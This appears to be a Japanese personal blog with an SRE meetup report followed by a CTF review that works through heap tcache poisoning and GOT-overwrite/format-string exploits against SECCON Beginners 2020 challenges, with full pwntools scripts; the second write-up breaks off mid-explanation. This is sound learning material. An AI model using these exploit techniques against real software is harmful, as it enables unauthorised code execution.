好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

Infra Study Meetup #3 イベント参加レポート

2020年6月17日に開催された、Infra Study Meetup #3 を拝聴しました。

forkwell.connpass.com

今回のテーマは「SREのこれまでとこれから」。オンライン開催だし、後から配信もあってとっても良い。
自分のtweetまとめみたいになっちゃったけど、折角参加できたし面白かったのでまとめ。

挨拶

頭からじっくり聞けたので、3回目にしてようやくこの勉強会の成り立ちみたいなのを知った。コロナ禍で、やっぱりオンサイトの勉強会は激減、エンジニアの学ぶ場がとても減ってしまっていることから、Forkwellさんが声がけしてスポンサー、講師を募りつつ始めたそうな。

基調講演「SREの文化と組織」

株式会社はてな SRE 古川 雅大氏

speakerdeck.com

最初は、はてなのSRE、古川さんによる、「SREの文化と組織」。「Site Reliability Engineering」という「分野」についてのお話。

これまでは、一企業(google)のプラクティスだったものが、Webサービス事業者へのプラクティスになってきた。今はそれから「研究分野」になってきつつある、とのこと。

これからは、

  • googleの模倣ではなく企業や組織事に合った、SREの実践・実装の登場
  • セキュリティ分野など、他の分野との連携
  • 産業と研究みたいに、バラバラだったものが融合して新たな手法の発見があるのでは

ということでした。上2つは既に足を踏み入れているところも多そう。3つ目はどんな話だろう。

ここで出てきた、SREの活動を自動車に例える話。なるほどーと思った。
自動車も、最初は便利に使える早く移動できるもの、だったのが、動くことが当たり前になって、皆が使ってみると事故が起こったりして、そこで安全性・信頼性について考えるようになった。Webサービス業界におけるインフラもこれと同じで、はじめはとにかく「動く」ことが目的だったが、今では動く状態に持っていくコストが下がり、余力が出てきた。ここに来て信頼性・セキュリティ的な話が要約できるようになった。

次はSREをどうやって導入するか、という話。
組織にSREを導入することを、大きな機能を実装すると考えてみる、とここでもたとえ話。システムに変更(SRE導入)を加えると、信頼性が下がることに注意して、段階的に入れていきましょう、とのこと。いきなり頑張りすぎないこと。

また、システムを入れ替えるには、旧システムを知ることが必要。組織の規模や、誰に話を通すべきか、など。

まとめると、組織の文化に合わせて、少しずつ、相手を知った上でうまく進めていきましょうってことだ。これ大事。そしてとても難しい。SREについて説明するときも、相手に合わせて話す内容を変えないと伝わらない。説明した後にアンケートをとって改善していくの良いな。

コードもそこまで得意じゃなくても、信頼性に関わることであれば自分の能力を鍛えていこう、という意思の変換。信頼性を担保するのにソフトウェアエンジニアリングが必要なら、じゃ、やるか!という心構えでいると、なりやすいんじゃない?とのこと。
ほか、SREになるのはステップアップなのか?みたいな議論もされていました。

ガチ関西勢からツッコミが来るかとヒヤヒヤしたエセ関西弁だったけど、こういうことだと思う。

LT1「Incident Response」

LT1つ目は、メルペイの @tjun さんより「Incident Response」

speakerdeck.com

インシデントへの事前準備、起きたと きの対応など、よくまとまっている今日の発表資料はこちら!!!これはとても良い資料!

何が起きたら、何が損なわれたらインシデントなのか、深刻度をどう定義するか、更にその深刻度(Severity)がいくつ以上だったら即刻対応なのか、CTO/CEOまで連絡を上げるのか、みたいなところも決めておく必要があるよね。連絡先も、インシデントが起こってからいちいち調べてたら遅くなる原因なので、予めリストを用意しておくべき。
更に、役割を決めておくことも大事。ドウイウ役割の人が必要なのか。もちろん問題の切り分け・原因究明・解決に向けたactionを取る人はとても重要なんだけど、皆でこれをやっているとどこにも報告が上がらない。ちゃんと定刻に然るべきところにレポートを上げる役割も必要。個人的には、原因究明班と解決班もちゃんと分けたほうが良いと思っている。人的リソースに余裕があれば、だけど。余裕なければとにかく応急処置でもいいから解決班に全振りかな。

インシデントが発生したときのコミュニケーションの場を作っておくのも大事とのこと。あとは発表内容にあったか忘れたけど、情報の取りまとめの場と、チケットなどアサイン・TODOを明確に管理できる場も用意しておいたほうが良いと思う。「slackに集合!」は何年も前からやってるけど、コロナ下のリモートワーク環境でも問題なく使えて良さそう。

tjun さん、前の職場が超近かったのもあってか「あー、あるあるー」「それ決めとかなきゃだよねー」「めっちゃわかるー」みたいな内容が多かった💡 それとも皆同じようなこと考えて決めてたり、みんなで解析しちゃって報告が疎かになった経験があるのだろうか。あるあるな気もするな。

こんなのもあるみたい。

LT2「AIスタートアップにおけるSRE」

LT2つ目はAVILENの大川さんによる「AIスタートアップにおけるSRE」。

これ、後半は自分の体験談だったんですけど、大川さんが喋ったみたいになってしまった…。

スタートアップって、勝手なイメージだけど「全員開発・Deployできる」みたいなところが多そう。だけど、ここにAI人材、データサイエンティストが入ってきて、インフラちょっとよくわかんないし、やるつもりもないよ、みたいな感じだと、どうしてもシステムに変更を加える人と、Deployして動作を確認する人が別になってしまう。

インフラメンバーもデータサイエンティストのいじる領域はなかなか手が出せず、すると、「なんかコケたんですけど、どこ変更したんですか?」みたいな無駄なコミュニケーションが多発して、皆に不幸な結果に。だから、誰でもDeploy&Test出来る環境ってとても大事だなーと。

データが絡んでくると自動Deploy,Testってとても大変&複雑になりがちだと思うので、具体的にどうやってるかお聞きしてみたいなぁ。l

LT3「Production Readyと開発プロセス改善」

LT3つ目は、ぐりもお。氏による「Production Readyと開発プロセス改善」

speakerdeck.com

早期エンゲージメントモデルとは、早い段階からSREが開発に関わっていくこと。企画・設計・開発・運用全てのプロセスにSREが関わってレビューをする。
これを導入してみた話。

導入したことによって、設計漏れが起こらない、運用引き渡しがスムーズといったメリットがあったそうです。

これは以前、私達も取り組もうと思って、前に自分たちの開発プロセスに取り入れたらどうなるかを検討してみました。SREという役割・チームが無いにしても、SRE的視点で各段階でレビューを行うのはとても効果的だと思う。

ゆるく振り返り会

この「なんちゃってSRE」、「名前だけSRE」って、「名前だけ変えてSREって言ってんじゃないよ」みたいな嘲笑を感じてあまり好きでない。というのもきっと、自分がやろうとしたときも、こういうことを言って腰を折られるのが嫌だったからだろうなぁと思う。

最初から「これぞ完璧なSREの取り組みだ!」みたに始める所なんて殆どないと思うし、基調講演でもあったとおり、組織に合わせて徐々にSREの考え方を取り入れていくスタイルが多いんじゃないかなと思う。だから、「気づいたらSREっぽい事してたからSRE部隊を作ってみました」っていうパターンじゃない場合、「SREの考え方を取り入れていくぞ!」っていう段階で、まずは名前を変えてみたり、とりあえず作ってみたりということはあると思うし、戦略としてそんなに間違ってないんじゃないかな、と思う。

だから、このゆるく振り返り会で沢山出てきた、「ちゃんとSREについて考える」というのを意識して続けられれば、入り口は既存組織の名前を変えただけだろうが、気にする必要はないという雰囲気はとても良かったなぁと思う。

逆にSREについてちゃんと考える人、中心になって考えられる人がいないと回らないよおね、という話も。こういう人をどうやって引っ張ってくるのか、育てていくのかはとても難しい。たまたまそういう人がいたり、入ってきてくれたら良いんだけど。

ということで、そういう人がいる・可能性がある人がいた場合に、企業文化って結構大事だよね、という話になった。ちゃんと中心になって回そうとしてる人を応援できる風土がないと、人は育たないし他に移ってしまう。

他、お金の視点、顧客の視点も大事だよね、という話も。SLI/SLOだけじゃなく、顧客とすり合わせて決めるSLAが大事。

顧客からしてみたら、稼働率が100%に近いほうが良いに決まってる。こういう議論に慣れていない顧客だと、普通に「100%で」って言ってくる可能性があるので、どうやったらこの100%ってめっちゃお金かかるんですよ、そんな信頼性いります?みたいな話をうまく伝えるかについて、一生懸命考えたことがあったなぁと思い出したのでした。
そもそも現場で使われる医療系のシステムと、エンタメ系のシステム、求められる信頼性って違うよね、とか。大体98.5%の稼働率があれば、年間のダウンタイムはこれくらいですよ、って表にしてみたりとか。100%に近づけるためには深夜対応メンバーの増強が必要なので、人的コストもコレくらい跳ね上がりますよ、とか。いろんな視点でちゃんと説明することを試みた記憶。

最後に。

確かに、今回の勉強会のハッシュタグを追っているとSREって全知全能、オールジャンルデキル人なんですか!?、みたいな感想がちらほらあって気になっていた。そこに基調講演の古川さんからこのコメントがあって、すごく良いなぁと思った。
これに対して、ジェネラリストの集団っていうイメージ、という反応もいくつか見られ、スーパーマンだけがSREを名乗っていいってわけじゃないし、徐々に守備範囲を広げていけたら良いんだなと感じられてとても良かったです。

今回は組織・人的な話がメインということでSREについて見つめ直す良い機会になったのではと思います。

次の第4回は、インフラの面白い技術とこれから。

forkwell.connpass.com

紹介文が面白いので読んでみて!とのこと。

今回は、私が比較的精通している分野であるコンテナの要素技術やミドルウェアを題材に、中身を「深追いする」方法や技術について少しでもお話しできればと思います。

とあります。楽しみ!

SECCON for Beginners CTF 2020 復習 [Pwn]

2020/5/23 ~ 5/24 で開催された、SECCON Beginners CTF 2020 の Pwn 分野の復習メモです。
競技時間中に解いた問題のwrite-upはこちら。

kusuwada.hatenablog.com

他分野の復習記事はこちら

kusuwada.hatenablog.com

本当は全部見ておきたかったけど、サーバー稼働期間も終わってしまうし、ちゃんと基礎からやらんとな、という気持ちになったので2問だけ。

[Pwn] Beginner's Heap [Easy]

Let's learn how to abuse heap overflow!

nc bh.quals.beginners.seccon.jp 9002

配布物はなし!ソースがないheapがeasyだなんて…。
とにかくつないでみます。

$ nc bh.quals.beginners.seccon.jp 9002
Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)

 A = malloc(0x18);

Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:

 <__free_hook>: 0x7fd28756f8e8
 <win>: 0x55838f653465

Call <win> function and you'll get the flag.

1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 

4. Describe heap5. Describe tcacheで状態が見れる上に、6. Currently available hintでいつでもヒントがもらえちゃう…。凄い問題だ…!

とはいえ、中に書くものは自分で用意しないといけない。ちょっと触ってみたものの、時間がかかりそうだと後回しにした結果、競技終了。

復習

Heap問は割と最近やったところだし、tcache絡みの問題もやっていたので、自力でしばらくがんばります。自力と行っても親切なヒントが出ているんだけども。

初期状態のheapとtcacheはこんな感じ。

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x56066a6d5330
 [+] B = (nil)

                   +--------------------+
0x000056066a6d5320 | 0x0000000000000000 |
                   +--------------------+
0x000056066a6d5328 | 0x0000000000000021 |
                   +--------------------+
0x000056066a6d5330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x000056066a6d5338 | 0x0000000000000000 |
                   +--------------------+
0x000056066a6d5340 | 0x0000000000000000 |
                   +--------------------+
0x000056066a6d5348 | 0x0000000000020cc1 |
                   +--------------------+
0x000056066a6d5350 | 0x0000000000000000 |
                   +--------------------+
0x000056066a6d5358 | 0x0000000000000000 |
                   +--------------------+
0x000056066a6d5360 | 0x0000000000000000 |
                   +--------------------+
0x000056066a6d5368 | 0x0000000000000000 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

hint: Tcache manages freed chunks in linked lists by size.

Every list can keep up to 7 chunks.

A freed chunk linked to tcache has a pointer (fd) to the previously freed chunk.

Let's check what happens when you overwrite fd by Heap Overflow.

picoCTF 2019 の Ghost_Diary 問題でやったことが全部出てきている気がする。ここにまとめといたやつだ

Aはアドレスが固定で値のみ書き換えられます。ただし、Aはもともと問題文とheapの状態からサイズは0x18ですが、1の機能で0x80まで書き換えできるようです…!これはきっとHeapOverflow。Bはサイズが固定(0x18)で好きな値を入れてalloc,freeできる、という条件。

最初のヒントより、HeapOverflowをしてfdポインタを上書きし、何が起こるか見てみます。
以下、コードは下記のコードをベースに継ぎ足して書いています。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = "bh.quals.beginners.seccon.jp"
port = 9002

def writeA(data):
    log.info('write A')
    r.sendline(b'1')
    r.sendline(data)
    r.recvuntil(b'> ')
    
def allocB(data):
    log.info('alloc B')
    r.sendline(b'2')
    r.sendline(data)
    r.recvuntil(b'> ')
    
def freeB():
    log.info('free B')
    r.sendline(b'3')
    r.recvuntil(b'> ')

def describe_heap():
    log.info('descrive heap')
    r.sendline(b'4')
    print(r.recvuntil(b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-').decode())
    r.recvuntil(b'> ')
    
def describe_tcache():
    log.info('descrive tcache')
    r.sendline(b'5')
    print(r.recvuntil(b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=').decode())
    r.recvuntil(b'> ')

def hint():
    log.info('hint')
    r.sendline(b'6')
    print(r.recvuntil(b'\n\n').decode())
    r.recvuntil(b'> ')
    
### main ###
r = remote(host, port)
r.recvuntil(b'<__free_hook>: ')
free_hook_addr = int(r.recvuntil(b'\n').strip().decode(), 16)
r.recvuntil(b'<win>: ')
win_addr = int(r.recvuntil(b'\n').strip().decode(), 16)
r.recv()

print(free_hook_addr)
print(win_addr)

まず、BB(=0x42) * 0x10を詰めてallc。

data = b'B' * 0x10
B = allocB(data)
describe_heap()

実行結果

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x5561868fd330
 [+] B = 0x5561868fd350

                   +--------------------+
0x00005561868fd320 | 0x0000000000000000 |
                   +--------------------+
0x00005561868fd328 | 0x0000000000000021 |
                   +--------------------+
0x00005561868fd330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x00005561868fd338 | 0x0000000000000000 |
                   +--------------------+
0x00005561868fd340 | 0x0000000000000000 |
                   +--------------------+
0x00005561868fd348 | 0x0000000000000021 |
                   +--------------------+
0x00005561868fd350 | 0x4242424242424242 | <-- B
                   +--------------------+
0x00005561868fd358 | 0x4242424242424242 |
                   +--------------------+
0x00005561868fd360 | 0x000000000000000a |
                   +--------------------+
0x00005561868fd368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

このあと、Bをfreeします。

freeB()
describe_heap()
describe_tcache()

実行結果

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x5561868fd330
 [+] B = (nil)

                   +--------------------+
0x00005561868fd320 | 0x0000000000000000 |
                   +--------------------+
0x00005561868fd328 | 0x0000000000000021 |
                   +--------------------+
0x00005561868fd330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x00005561868fd338 | 0x0000000000000000 |
                   +--------------------+
0x00005561868fd340 | 0x0000000000000000 |
                   +--------------------+
0x00005561868fd348 | 0x0000000000000021 |
                   +--------------------+
0x00005561868fd350 | 0x0000000000000000 |
                   +--------------------+
0x00005561868fd358 | 0x4242424242424242 |
                   +--------------------+
0x00005561868fd360 | 0x000000000000000a |
                   +--------------------+
0x00005561868fd368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[*] descrive tcache
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x00005561868fd350(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Bのいたアドレスがtcacheに追加され、heap内のBの先頭だったところが0になります。これはtcacheの先頭に積まれたため、fbが初期値だから。

次に、AにA(=0x41) * 0x78を詰めて書き込んでみます。

data = b'A' * 0x78
writeA(data)

実行結果

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x5561868fd330
 [+] B = (nil)

                   +--------------------+
0x00005561868fd320 | 0x0000000000000000 |
                   +--------------------+
0x00005561868fd328 | 0x0000000000000021 |
                   +--------------------+
0x00005561868fd330 | 0x4141414141414141 | <-- A
                   +--------------------+
0x00005561868fd338 | 0x4141414141414141 |
                   +--------------------+
0x00005561868fd340 | 0x4141414141414141 |
                   +--------------------+
0x00005561868fd348 | 0x4141414141414141 |
                   +--------------------+
0x00005561868fd350 | 0x4141414141414141 |
                   +--------------------+
0x00005561868fd358 | 0x4141414141414141 |
                   +--------------------+
0x00005561868fd360 | 0x4141414141414141 |
                   +--------------------+
0x00005561868fd368 | 0x4141414141414141 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[*] descrive tcache
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x00005561868fd350(rw-) ]
        ||
        \/
[ 0x4141414141414141(---) ]
        ||
        \/
[       BROKEN LINK       ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

見ての通り、さっきfreeしたのBの領域までAで埋め尽くされました。更に、tcacheにあった元Bのアドレスのfwにあたる領域を0x41で埋めたため、tcacheに0x4141414141414141のアドレスがつまれました🙌

ここで再度hintを見てみると、文言が変わっています。

Good. The tcache link is corrupted!

Currently it's linked to 0x4141414141414141 but what if it's __free_hook...?

ということで、最初にもらった__free_hookのアドレスでfwを書き換えるよう、Aの中身を変更してみます。

data = b'A' * 0x8 * 4 + p64(free_hook_addr)
writeA(data)

実行結果

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x55d43618d330
 [+] B = (nil)

                   +--------------------+
0x000055d43618d320 | 0x0000000000000000 |
                   +--------------------+
0x000055d43618d328 | 0x0000000000000021 |
                   +--------------------+
0x000055d43618d330 | 0x4141414141414141 | <-- A
                   +--------------------+
0x000055d43618d338 | 0x4141414141414141 |
                   +--------------------+
0x000055d43618d340 | 0x4141414141414141 |
                   +--------------------+
0x000055d43618d348 | 0x4141414141414141 |
                   +--------------------+
0x000055d43618d350 | 0x00007f13544b08e8 |
                   +--------------------+
0x000055d43618d358 | 0x424242424242420a |
                   +--------------------+
0x000055d43618d360 | 0x000000000000000a |
                   +--------------------+
0x000055d43618d368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[*] descrive tcache
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x000055d43618d350(rw-) ]
        ||
        \/
[ 0x00007f13544b08e8(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

やった!狙ったとおりになりました。またhintが変わっています。

It seems __free_hook is successfully linked to tcache!

But the chunk size is broken or too big maybe...?

そのとおり。サイズはノータッチでした。もとのBとおなじになるように、またAの中身を変えてみます。

data = b'A' * 0x8 * 3 + p64(0x21) + p64(free_hook_addr)
writeA(data)

heapはこう変わります。

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x55bd4f0c6330
 [+] B = (nil)

                   +--------------------+
0x000055bd4f0c6320 | 0x0000000000000000 |
                   +--------------------+
0x000055bd4f0c6328 | 0x0000000000000021 |
                   +--------------------+
0x000055bd4f0c6330 | 0x4141414141414141 | <-- A
                   +--------------------+
0x000055bd4f0c6338 | 0x4141414141414141 |
                   +--------------------+
0x000055bd4f0c6340 | 0x4141414141414141 |
                   +--------------------+
0x000055bd4f0c6348 | 0x0000000000000021 |
                   +--------------------+
0x000055bd4f0c6350 | 0x00007f3ef72fa8e8 |
                   +--------------------+
0x000055bd4f0c6358 | 0x424242424242420a |
                   +--------------------+
0x000055bd4f0c6360 | 0x000000000000000a |
                   +--------------------+
0x000055bd4f0c6368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

hintもまた変わりました。

It seems __free_hook is successfully linked to tcache!

But you can't get __free_hook since you can only malloc/free B.

What if you change the chunk size to a value other than 0x21...?

__free_hookは、次にmallocかfreeが呼ばれたときにしか発動しません。そこで、サイズを先程は元のBと同じ0x21に指定しましたが、違うサイズにしてみることを提案されています。

tcacheのサイズに当てはまる、少し大きめのサイズ0x40を設定してみました。

data = b'A' * 0x8 * 3 + p64(0x40) + p64(free_hook_addr)
writeA(data)

hintはこうなりました

It seems __free_hook is successfully linked to tcache!

And the chunk size is properly forged!

chunk sizeを大きめに書き換えたことで、freedな領域のサイズがマージされています。

現在tcacheの中身は、B -> __free_hook になっています。__free_hookを先頭に持ってくるために、もう一度Bをmallock,freeしてみます。

data = b'B' * 0x10
B = allocB(data)
freeB()

実行結果

-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x5584fa140330
 [+] B = (nil)

                   +--------------------+
0x00005584fa140320 | 0x0000000000000000 |
                   +--------------------+
0x00005584fa140328 | 0x0000000000000021 |
                   +--------------------+
0x00005584fa140330 | 0x4141414141414141 | <-- A
                   +--------------------+
0x00005584fa140338 | 0x4141414141414141 |
                   +--------------------+
0x00005584fa140340 | 0x4141414141414141 |
                   +--------------------+
0x00005584fa140348 | 0x0000000000000040 |
                   +--------------------+
0x00005584fa140350 | 0x0000000000000000 |
                   +--------------------+
0x00005584fa140358 | 0x4242424242424242 |
                   +--------------------+
0x00005584fa140360 | 0x000000000000000a |
                   +--------------------+
0x00005584fa140368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[*] descrive tcache
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x00007ff2bf0158e8(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=

hintはこうなりました

It seems __free_hook is successfully linked to tcache!

The first link of tcache is __free_hook!

Also B is empty! You know what to do, right?

Yeah! もう一度mallocすると__free_hookの領域が取れます。ここで、free_hookの第一引数にwin関数をセットすると、次にfreeが呼び出されたときにこれが発動、win関数がコールされるはず!

data = p64(win_addr)
B = allocB(data)

合っているか心配なのでここでもhintも見ておきます。

It seems you did everything right!

free is now equivalent to win

(๑•̀ㅂ•́)و✧
あとはfreeを呼ぶだけ!

log.info('free B')
r.sendline(b'3')
print(r.recv())
print(r.recv())

実行結果

b'Congratulations!'
b'\nctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}\n'

\(ˊᗜˋ)/
これは!競技中に!ちゃんと時間をとってやるべきだった!!!!!!

最後に全体スクリプトを載せるだけ載せておこう。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = "bh.quals.beginners.seccon.jp"
port = 9002

def writeA(data):
    log.info('write A')
    r.sendline(b'1')
    r.sendline(data)
    r.recvuntil(b'> ')
    
def allocB(data):
    log.info('alloc B')
    r.sendline(b'2')
    r.sendline(data)
    r.recvuntil(b'> ')
    
def freeB():
    log.info('free B')
    r.sendline(b'3')
    r.recvuntil(b'> ')

def describe_heap():
    log.info('descrive heap')
    r.sendline(b'4')
    print(r.recvuntil(b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-').decode())
    r.recvuntil(b'> ')
    
def describe_tcache():
    log.info('descrive tcache')
    r.sendline(b'5')
    print(r.recvuntil(b'-=-=-=-=-=-=-=-=-=-=-=-=-=-=').decode())
    r.recvuntil(b'> ')

def hint():
    log.info('hint')
    r.sendline(b'6')
    print(r.recvuntil(b'\n\n').decode())
    r.recvuntil(b'> ')
    
### main ###
r = remote(host, port)
r.recvuntil(b'<__free_hook>: ')
free_hook_addr = int(r.recvuntil(b'\n').strip().decode(), 16)
r.recvuntil(b'<win>: ')
win_addr = int(r.recvuntil(b'\n').strip().decode(), 16)
r.recv()

# tcacheにBの領域を積む
data = b'B' * 0x10
B = allocB(data)
freeB()

# Heap Overflow で freeされたBを上書き
data = b'A' * 0x8 * 3 + p64(0x40) + p64(free_hook_addr)
writeA(data)

# tcache 消費
data = b'B' * 0x10
B = allocB(data)
freeB()

# __free_hookにwin関数を仕込む
data = p64(win_addr)
B = allocB(data)

# free!
log.info('free B')
r.sendline(b'3')
print(r.recv())
print(r.recv())

[Pwn] Elementary Stack [Easy]

Do you really understand stack?

nc es.quals.beginners.seccon.jp 9003

このさきのPwn問題は、競技期間中開いてすらなかった!

復習

実行ファイルchalllibc-2.27.somain.cが配布されます。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define X_NUMBER 8

__attribute__((constructor))
void setup(void) {
  setbuf(stdout, NULL);
  alarm(30);
}

__attribute__((noreturn))
void fatal(const char *msg) {
  printf("[FATAL] %s\n", msg);
  exit(0);
}

long readlong(const char *msg, char *buf, int size) {
  printf("%s", msg);

  if (read(0, buf, size) <= 0)
    fatal("I/O error");
  buf[size - 1] = 0;

  return atol(buf);
}

int main(void) {
  int i;
  long v;
  char *buffer;
  unsigned long x[X_NUMBER];

  if ((buffer = malloc(0x20)) == NULL)
    fatal("Memory error");

  while(1) {
    i = (int)readlong("index: ", buffer, 0x20);
    v = readlong("value: ", buffer, 0x20);

    printf("x[%d] = %ld\n", i, v);
    x[i] = v;
  }
  return 0;
}

最初に0x20サイズの領域をbufferに確保し、配列 x[]の配列にユーザー入力の値を表示・格納していくシンプルなプログラム。配列xは、最初にx[8]とサイズが決まっています。flagについての記載はないので、shellを取ってflag.txt的なものを表示させる系に違いない。
ちなみに、constructorで30秒アラートを設定されているので、30秒以内に実行する必要があります。

今回はhintなしなので、自分で方針を考えなければいけない。ソースを読んで & 実行ファイルを動かしてみて、気になった点をメモ。

  1. x[index]のindexには8を超える値や負の値も入れられる
  2. main関数のreturnは、while(1)を抜ける条件がないので呼ばれない(returnアドレスを書き換えても無駄)
  3. readlong関数のreturn atol(buf)は、atolsystemに書き換えられるとsystem(buf)みたいにsystemを任意の引数で呼び出せそう

配布されたchallは No PIE なので各関数のアドレスはわかるのだけど、サーバーで稼働中のlibcのsystemのアドレスがわからない。

ここまで考えたけど、攻撃が繋がらなかった。おとなしくwriteupを見ます。今回は下記の4つが見つかりました。ありがとうございます🙏

これらを読むと、

  • 1つ目の条件より、範囲外書き込みによってatolsystemに書き換えて呼び出す方法が考えられる
  • systemのアドレスがわからない。これは、atoi(atol)をprintfに向けてFormat String Bugを引き起こす

という作戦が想定解のようです。
2つめの方法は初めて見たので調べてみました。libcアドレスをリークする時に使える手法で、atoiatolなどのGOTをprintf,scanfなどに書き換えることで stack based FSB を発動させ、書き換え先の関数の libc address をリークするようです。

過去にもこれを使って説いたっぽいCTFのwriteupが出てきました。古いものだと2016年!

※ここからは、全くわからないなりに理解していった手順を書いていきます。かなり回りくどいです。

まず、*bufferの示す先をatol@gotに書き換えてみます。
radare2でlocal変数の配置を確認すると、

# r2 ./chall
[0x004005f0]> aaaa
(略)
[0x004005f0]> s main
[0x0040079e]> pdf
/ (fcn) main 138
|   main (int argc, char **argv, char **envp);
|           ; var int local_54h @ rbp-0x54
|           ; var int local_50h @ rbp-0x50
|           ; var int local_48h @ rbp-0x48
|           ; arg int arg_40h @ rbp+0x40
(略)

続きのコードを見る限り、

rbp-0x54: i
rbp-0x50: *buffer
rbp-0x48: v
rbp+0x40: x[]

になっているようです。このため、x[-2]に書き込むと、bufferの向き先を書き換えることができます。ここで向き先をGOT領域にすると、次回からのユーザー入力時にreadlong関数内で read(0, GOT領域, 0x20) となり、GOT領域を上書きできます。

code1

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'es.quals.beginners.seccon.jp'
port = 9003

e = ELF('./chall')
libc = ELF('./libc-2.27.so')

r = remote(host, port)

# *buffer の示す先を atol に書き換え: x[-2] = atol@got
r.recvuntil(b'index: ')
r.sendline(b'-2')
r.recvuntil(b'value: ')
r.sendline(str(e.got[b'atol']).encode())

ちなみに、main関数のx[i] = v;の時に書き換えが生じます。この時はまだreadlong関数内のreturn atol(buf)はそのままatolとして実行されるため、アドレスもatolの入力値の型に合わせてstrで送ります。

更に、atol@gotの先をprintf@pltに書き換えます。
具体的には、index入力時のreadlong()関数内、read(0, buf, size)で、atol@gotを指しているbufにユーザー入力でprintf@pltの値を入れてあげます。

code2

(上のcode1の続き)
# atol@got を printf@plt に書き換え
r.recvuntil(b'index: ')
r.sendline(p64(e.plt[b'printf']))
res = r.recvuntil(b'value: ')
print(res)

実行してみると、

b'\x90\x05@value: '

と表示されました。
value:だけが表示されるのが通常状態なので、何かが追加で出力されました。これは、atol@gotの向き先が意図通りprintf@pltに書き換わったため、readlong関数の最後、return atol(buf); のときに、printf(buf)が実行されたためです。
このときbufprintf@pltが入っているので、それがそのまま出てきました。

さて、次に FSB を発動させます。先程printf(buf)が用意できたので、出来るはず!
ひとまずFSBの詳細は後回し。b'%25$p'を送ると良いらしいのでそれで試していますが、b'%10$p'でも何でもOK。

code3

(code2の続き)
# FSB発動
r.sendline(b'%25$p')
res = r.recvuntil(b'index: ')
print(res)

これを実行すると、raise EOFErrorで落ちました。何が起きたのでしょう。
このとき、またreadlong関数のread(0, buf, size)で、atol@gotを指しているbufb'%25$p'を入れてしまっています…。これではatolのかわりにprintfが呼ばれなくなってしまいます。
試しに、

code4

(code2の続き)
# お試しにもう一度printfしてみる
r.sendline(p64(e.plt[b'printf']))
res = r.recvuntil(b'index: ')
print(res)

としてみると、

b'\x90\x05@x[3] = 3\nindex: '

と表示されました。先ほどと同じ出力です。しかしこのままでは、atol@gotprintf@pltに向き変えたときしかprintfが発動しないので、printfは一生自分のアドレスを表示することしかできません…。

そこで、GOT領域のatolを書き換えるのではなく、0x8前のアドレスを書き換えることで、atol@gotprintf@pltに向けつつ、bufを自由な値が入力できるようにするらしい。ほぉほぉほぉ!

ちなみに、下記の様にしてGOT領域の関数とアドレスを一覧することができます。(もっといい方法もあるかも)

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

e = ELF('./chall')

for name,address in e.got.items():
    print(name.decode() + ': ' + hex(address))

実行結果

$ python test.py
setbuf: 0x601018
printf: 0x601020
alarm: 0x601028
read: 0x601030
malloc: 0x601038
atol: 0x601040
exit: 0x601048

ということで、atol@gotの一つ前(-0x8)は、malloc@gotであることがわかります。この攻撃を成功させるためには、mallocが攻撃ループ中に呼ばれないことが条件になりますが(書き潰してしまうので)、今回はmallocは最初に呼ばれているだけなので条件を満たしています🙌

やりたいのはこんな感じ。

             GOT area
            +--------+
            |   ...  |
            +--------+
*buffer ->  | malloc | -> user input で上書きされる buf
            +--------+
